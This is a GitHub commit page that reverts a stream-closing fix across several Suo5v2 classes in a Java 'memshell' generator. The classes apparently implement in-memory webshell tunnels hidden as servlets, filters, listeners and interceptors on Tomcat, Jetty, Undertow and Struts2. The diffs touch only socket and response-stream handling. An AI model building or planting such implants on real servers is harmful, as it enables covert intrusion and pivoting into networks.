Skip to content

Commit 5906552

Browse files
ReaJasonReaJason
committed
Revert "fix: close respOutputStream in finally"
This reverts commit 25e4086.
1 parent 517cc9f commit 5906552

File tree

11 files changed

+57
-78
lines changed

11 files changed

+57
-78
lines changed

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java‎

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -346,10 +346,10 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
346346

347347
Thread t = null;
348348
boolean sendClose = true;
349-
final OutputStream scOutStream = socket.getOutputStream();
350-
final InputStream scInStream = socket.getInputStream();
351-
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
352349
try {
350+
final OutputStream scOutStream = socket.getOutputStream();
351+
final InputStream scInStream = socket.getInputStream();
352+
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
353353

354354
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
355355
t = new Thread(p);
@@ -381,26 +381,26 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
381381
}
382382
} catch (Exception ignored) {
383383
} finally {
384+
384385
try {
385386
socket.close();
386387
} catch (Exception ignored) {
387388
}
389+
388390
if (sendClose) {
389391
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
390392
}
391-
try {
392-
respOutputStream.close();
393-
} catch (Exception ignored) {
394-
}
395393
if (t != null) {
396394
t.join();
397395
}
396+
398397
}
399398
}
400399

401400
private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception {
402401
boolean newThread = false;
403402
boolean sendClose = true;
403+
404404
try {
405405
byte action = ((byte[]) dataMap.get("ac"))[0];
406406
switch (action) {

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java‎

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -324,10 +324,10 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
324324

325325
Thread t = null;
326326
boolean sendClose = true;
327-
final OutputStream scOutStream = socket.getOutputStream();
328-
final InputStream scInStream = socket.getInputStream();
329-
final OutputStream respOutputStream = resp.getOutputStream();
330327
try {
328+
final OutputStream scOutStream = socket.getOutputStream();
329+
final InputStream scInStream = socket.getInputStream();
330+
final OutputStream respOutputStream = resp.getOutputStream();
331331

332332
Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId);
333333
t = new Thread(p);
@@ -359,17 +359,15 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
359359
}
360360
} catch (Exception ignored) {
361361
} finally {
362+
362363
try {
363364
socket.close();
364365
} catch (Exception ignored) {
365366
}
367+
366368
if (sendClose) {
367369
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
368370
}
369-
try {
370-
respOutputStream.close();
371-
} catch (Exception ignored) {
372-
}
373371
if (t != null) {
374372
t.join();
375373
}

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java‎

Lines changed: 4 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -329,10 +329,10 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
329329

330330
Thread t = null;
331331
boolean sendClose = true;
332-
final OutputStream scOutStream = socket.getOutputStream();
333-
final InputStream scInStream = socket.getInputStream();
334-
final OutputStream respOutputStream = resp.getOutputStream();
335332
try {
333+
final OutputStream scOutStream = socket.getOutputStream();
334+
final InputStream scInStream = socket.getInputStream();
335+
final OutputStream respOutputStream = resp.getOutputStream();
336336

337337
Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId);
338338
t = new Thread(p);
@@ -365,18 +365,14 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
365365
} catch (Exception ignored) {
366366
} finally {
367367

368-
369368
try {
370369
socket.close();
371370
} catch (Exception ignored) {
372371
}
372+
373373
if (sendClose) {
374374
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
375375
}
376-
try {
377-
respOutputStream.close();
378-
} catch (Exception ignored) {
379-
}
380376
if (t != null) {
381377
t.join();
382378
}

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java‎

Lines changed: 6 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -341,10 +341,10 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
341341

342342
Thread t = null;
343343
boolean sendClose = true;
344-
final OutputStream scOutStream = socket.getOutputStream();
345-
final InputStream scInStream = socket.getInputStream();
346-
final OutputStream respOutputStream = resp.getOutputStream();
347344
try {
345+
final OutputStream scOutStream = socket.getOutputStream();
346+
final InputStream scInStream = socket.getInputStream();
347+
final OutputStream respOutputStream = resp.getOutputStream();
348348

349349
Suo5v2Interceptor p = new Suo5v2Interceptor(scInStream, respOutputStream, tunId);
350350
t = new Thread(p);
@@ -376,20 +376,19 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
376376
}
377377
} catch (Exception ignored) {
378378
} finally {
379+
379380
try {
380381
socket.close();
381382
} catch (Exception ignored) {
382383
}
384+
383385
if (sendClose) {
384386
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
385387
}
386-
try {
387-
respOutputStream.close();
388-
} catch (Exception ignored) {
389-
}
390388
if (t != null) {
391389
t.join();
392390
}
391+
393392
}
394393
}
395394

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java‎

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -379,10 +379,10 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
379379

380380
Thread t = null;
381381
boolean sendClose = true;
382-
final OutputStream scOutStream = socket.getOutputStream();
383-
final InputStream scInStream = socket.getInputStream();
384-
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
385382
try {
383+
final OutputStream scOutStream = socket.getOutputStream();
384+
final InputStream scInStream = socket.getInputStream();
385+
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
386386

387387
Suo5v2JettyCustomizer p = new Suo5v2JettyCustomizer(scInStream, respOutputStream, tunId);
388388
t = new Thread(p);
@@ -414,17 +414,15 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
414414
}
415415
} catch (Exception ignored) {
416416
} finally {
417+
417418
try {
418419
socket.close();
419420
} catch (Exception ignored) {
420421
}
422+
421423
if (sendClose) {
422424
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
423425
}
424-
try {
425-
respOutputStream.close();
426-
} catch (Exception ignored) {
427-
}
428426
if (t != null) {
429427
t.join();
430428
}

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java‎

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -340,10 +340,10 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
340340

341341
Thread t = null;
342342
boolean sendClose = true;
343-
final OutputStream scOutStream = socket.getOutputStream();
344-
final InputStream scInStream = socket.getInputStream();
345-
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
346343
try {
344+
final OutputStream scOutStream = socket.getOutputStream();
345+
final InputStream scInStream = socket.getInputStream();
346+
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
347347

348348
Suo5v2JettyHandler p = new Suo5v2JettyHandler(scInStream, respOutputStream, tunId);
349349
t = new Thread(p);
@@ -375,17 +375,15 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
375375
}
376376
} catch (Exception ignored) {
377377
} finally {
378+
378379
try {
379380
socket.close();
380381
} catch (Exception ignored) {
381382
}
383+
382384
if (sendClose) {
383385
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
384386
}
385-
try {
386-
respOutputStream.close();
387-
} catch (Exception ignored) {
388-
}
389387
if (t != null) {
390388
t.join();
391389
}

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java‎

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -335,10 +335,10 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
335335

336336
Thread t = null;
337337
boolean sendClose = true;
338-
final OutputStream scOutStream = socket.getOutputStream();
339-
final InputStream scInStream = socket.getInputStream();
340-
final OutputStream respOutputStream = resp.getOutputStream();
341338
try {
339+
final OutputStream scOutStream = socket.getOutputStream();
340+
final InputStream scInStream = socket.getInputStream();
341+
final OutputStream respOutputStream = resp.getOutputStream();
342342

343343
Suo5v2Listener p = new Suo5v2Listener(scInStream, respOutputStream, tunId);
344344
t = new Thread(p);
@@ -370,17 +370,15 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
370370
}
371371
} catch (Exception ignored) {
372372
} finally {
373+
373374
try {
374375
socket.close();
375376
} catch (Exception ignored) {
376377
}
378+
377379
if (sendClose) {
378380
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
379381
}
380-
try {
381-
respOutputStream.close();
382-
} catch (Exception ignored) {
383-
}
384382
if (t != null) {
385383
t.join();
386384
}

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java‎

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -323,10 +323,10 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
323323

324324
Thread t = null;
325325
boolean sendClose = true;
326-
final OutputStream scOutStream = socket.getOutputStream();
327-
final InputStream scInStream = socket.getInputStream();
328-
final OutputStream respOutputStream = resp.getOutputStream();
329326
try {
327+
final OutputStream scOutStream = socket.getOutputStream();
328+
final InputStream scInStream = socket.getInputStream();
329+
final OutputStream respOutputStream = resp.getOutputStream();
330330

331331
Suo5v2Servlet p = new Suo5v2Servlet(scInStream, respOutputStream, tunId);
332332
t = new Thread(p);
@@ -358,17 +358,15 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
358358
}
359359
} catch (Exception ignored) {
360360
} finally {
361+
361362
try {
362363
socket.close();
363364
} catch (Exception ignored) {
364365
}
366+
365367
if (sendClose) {
366368
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
367369
}
368-
try {
369-
respOutputStream.close();
370-
} catch (Exception ignored) {
371-
}
372370
if (t != null) {
373371
t.join();
374372
}

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java‎

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -326,10 +326,10 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
326326

327327
Thread t = null;
328328
boolean sendClose = true;
329-
final OutputStream scOutStream = socket.getOutputStream();
330-
final InputStream scInStream = socket.getInputStream();
331-
final OutputStream respOutputStream = resp.getOutputStream();
332329
try {
330+
final OutputStream scOutStream = socket.getOutputStream();
331+
final InputStream scInStream = socket.getInputStream();
332+
final OutputStream respOutputStream = resp.getOutputStream();
333333

334334
Suo5v2Struct2Action p = new Suo5v2Struct2Action(scInStream, respOutputStream, tunId);
335335
t = new Thread(p);
@@ -361,17 +361,15 @@ private void processFullStream(HttpServletRequest req, HttpServletResponse resp,
361361
}
362362
} catch (Exception ignored) {
363363
} finally {
364+
364365
try {
365366
socket.close();
366367
} catch (Exception ignored) {
367368
}
369+
368370
if (sendClose) {
369371
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
370372
}
371-
try {
372-
respOutputStream.close();
373-
} catch (Exception ignored) {
374-
}
375373
if (t != null) {
376374
t.join();
377375
}

‎generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java‎

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -326,10 +326,10 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
326326

327327
Thread t = null;
328328
boolean sendClose = true;
329-
final OutputStream scOutStream = socket.getOutputStream();
330-
final InputStream scInStream = socket.getInputStream();
331-
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
332329
try {
330+
final OutputStream scOutStream = socket.getOutputStream();
331+
final InputStream scInStream = socket.getInputStream();
332+
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
333333

334334
Suo5v2UndertowServletHandler p = new Suo5v2UndertowServletHandler(scInStream, respOutputStream, tunId);
335335
t = new Thread(p);
@@ -361,17 +361,15 @@ private void processFullStream(Object req, Object resp, HashMap dataMap, String
361361
}
362362
} catch (Exception ignored) {
363363
} finally {
364+
364365
try {
365366
socket.close();
366367
} catch (Exception ignored) {
367368
}
369+
368370
if (sendClose) {
369371
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
370372
}
371-
try {
372-
respOutputStream.close();
373-
} catch (Exception ignored) {
374-
}
375373
if (t != null) {
376374
t.join();
377375
}

0 commit comments

Comments
 (0)